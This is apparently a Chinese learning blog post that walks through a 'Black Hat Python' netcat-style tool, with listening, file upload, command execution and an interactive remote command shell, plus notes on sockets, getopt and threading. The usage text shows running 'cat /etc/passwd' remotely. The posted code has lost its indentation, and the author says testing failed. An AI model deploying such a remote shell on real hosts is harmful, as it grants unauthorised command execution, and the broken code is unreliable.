Python 第一个脚本，,通过黑客python

Python 第一个脚本，,通过黑客python

通过黑客python编程写的第一个脚本， 实现监听、连接、代码是写了上传功能、执行文件功能、但是测试是不成功的。

通过这个脚本、了解几个模块 threading，getopt、subprocess、socket 、sys ;

写代码过程中，发现boolean 首字母要大写 正确写法：True、False 错误写法：true、false 、还有一些函数字母拼错

#! /usr/bin/env python
#coding=utf-8
import sys
import socket
import getopt
import threading
import subprocess

listen = False
command = False
upload = False
execute =""
target =""
upload_destination = ""
port = 0

def usage():
print "BHP NET TOOL"
print
print "usage bhpnet.py -t target_host -p -port"
print "-l -listen -listen on [host]:[port]for incoming connects"
print "-e execute=file_to_run -execute the given file upon receiving a connects"
print "-c command -initialize a command shell"
print "-u -upload_destination -upon recviving connections upload a file and write to destination"
print
print
print "Examples:"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo ‘ABCDEFGHI‘| ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#连接到目标主机
client.connect((target,port))

if len(buffer):
client.send(buffer)

while True:
#现在等待数据回传
recv_len = 1
response = ""

while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data

if recv_len < 4096:
break
print response,

#等待更多的输入
buffer = raw_input("")
buffer += "\n"

#发送出去
client.send(buffer)

except:
print "[*] Exception! Exiting."

#关闭连接
client.close()
def server_loop():
global target
if not len(target):
target="0.0.0.0"
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:

client_socket,addr=server.accept()
#分拆一个线程处理新的客户端
client_thread=threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()

def run_command(command):
command=command.rstrip()
try:
output=subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output="failed to execute command.\r\n"
#将输出发送
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_destination):
file_buffer=""
while True:

data=client_socket.recv(1024)
if not data:
break
else:
file_buffer+=data
try:

file_descript=open(upload_destination,"wb")
file_descript.write(file_buffer)
file_descript.close()
client_socket.send("sucessfully saved file to %s\r\n"%upload_destination)
except:
client_socket.send("falied to save file to %s\r\n"%upload_destination)
#检测命令执行
if len(execute):
#运行命令
output = run_command(execute)

client_socket.send(output)

#如果需要一个命令行shell，那么我们进入另一个循环
if command:
while True:
#跳出一个窗口
client_socket.send("<BHP:#> ")

#现在我们接收文件直到发现换行符（enter key）
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)

#返还命令输出
response = run_command(cmd_buffer)

#返回响应数据
client_socket.send(response)



def main():
global listen
global command
global upload
global execute
global target
global upload_destination
global port
if not len(sys.argv[1:]):
usage()
#读取命令行选项
try:
opts,args =getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","-listen"):
listen = True
elif o in ("-c","commandshell"):
command= True
elif o in ("-u","--upload"):
upload_destination = a
elif o in ("-t","--target"):
target=a
elif o in ("-p","--port"):
port=int(a)
else:
assert False,"unhandled option"
if not listen and len(target) and port >0:
#从命令行读取内存数据
#这里将阻塞，所以不在向标准输入发送数据发送 CTRL -D
buffer = sys.stdin.read()
#发送数据
client_sender(buffer)
#我们开始监听并准备上传文件、执行命令
#放置一个反弹shell
#取决于上面的命令选项
if listen:
server_loop()
main()

tcp 服务端：

# -*- coding: UTF-8 -*from socket import *from time import ctimeHOST = ‘127.0.0.1‘PORT = 21567BUFSIZ = 1024ADDR = (HOST,PORT)tcpSerSock = socket(AF_INET,SOCK_STREAM)#s.bind()将地址（主机名，端口号）绑定到套接字tcpSerSock.bind(ADDR)#s.listen() 设置并启动TCP监听器，“5”表示连接欸被转接或拒绝之前，传入链接请求的最大请求数tcpSerSock.listen(5)#bytes 函数返回一个新的 bytes 对象，该对象是一个 0 <= x < 256 区间内的整数不可变序列。它是 bytearray 的不可变版本while True:    print(‘waiting for connection...‘)    #s.accept() 被动接收TCP客户端连接，一直等待直到连接到达（阻塞）    tcpCliSock, addr = tcpSerSock.accept()    print(‘...connected from:‘, addr)    while True:        data = tcpCliSock.recv(BUFSIZ)        print(type(data))        ctime = ctime().encode()        if not data:            #break语句用来终止循环语句，即循环条件没有False条件或者序列还没被完全递归完，也会停止执行循环语句。如果您使用嵌套循环，break语句将停止执行最深层的循环，并开始执行下一行代码            break        tcpCliSock.send(ctime)        #tcpCliSock.send(‘[%s] %s‘ %(ctime,data))        #tcpCliSock.send(‘[%s] %s‘ %(bytes(ctime(),‘UTF-8‘),data))    tcpCliSock.close()tcpSerSock.close()

tcp 客户端

import sockettarget_host="127.0.0.1"target_port=9999client=socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect((target_host,target_port))data="GET /HTTP1.1\r\nHOST:baidu.com\r\n\r\r\n"client.send(data.encode())response=client.recv(4096).decode()print (response)

getopt

try:        opts,args =getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])    except getopt.GetoptError as err:        print str(err)        usage()    for o,a in opts:        if o in ("-h","--help"):            usage()        elif o in ("-l","-listen"):            listen = True        elif o in ("-c","commandshell"):            command= True        elif o in ("-u","--upload"):            upload_destination = a        elif o in ("-t","--target"):            target=a        elif o in ("-p","--port"):            port=int(a)        else:            assert False,"unhandled option"

getopt 详解：

getopt.getopt(args,shortopts,longopts)

args 接收的参数、 shortopts 短参数、longopts长参数

args 可以通过 sys.argv[1:0]获得

sys.argv[0] 是当前代码本身。

threading 详解：

def server_loop():    global target    global port        #如果没有定义目标，那么我们监听所有端口    if not len(target):        target = "0.0.0.0"    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    server.bind((target,port))        server.listen(5)    while True:        client_socket, addr = server.accept()                #分拆一个线程处理新的客户端        client_thread = threading.Thread(target=client_handler,args=(client_socket,))        client_thread.start()

target 一般接的的函数、args 接的元组类型，后面要加“,”

Python 第一个脚本